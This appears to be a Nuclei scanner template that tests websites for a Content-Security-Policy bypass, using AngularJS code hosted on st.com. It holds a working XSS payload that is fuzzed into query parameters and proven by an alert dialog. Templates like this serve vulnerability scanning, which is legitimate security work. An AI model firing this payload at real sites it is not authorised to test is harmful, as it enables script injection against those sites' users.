id: st-angular-csp-bypass

info:
  name: Content-Security-Policy Bypass - ST Angular
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,st-angular

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "st.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: st_angular_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - <body ng-app ng-csp><script src="https://www.st.com/etc/clientlibs/st-search-cx/stangularjs.min.d9f5c8180af41b5cae710870b6b018fe.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "st_angular_csp_xss == true"
# digest: 4a0a00473045022100c1e43e5d0ac0004d0194297426283dad23dd2e0cb7aff32ab31d16aa34c1ba38022004fda57f637542916d0821c797ad98150d793ccd46076d5d97453d4c983bfc48:922c64590222798bb761d5b6d8e72950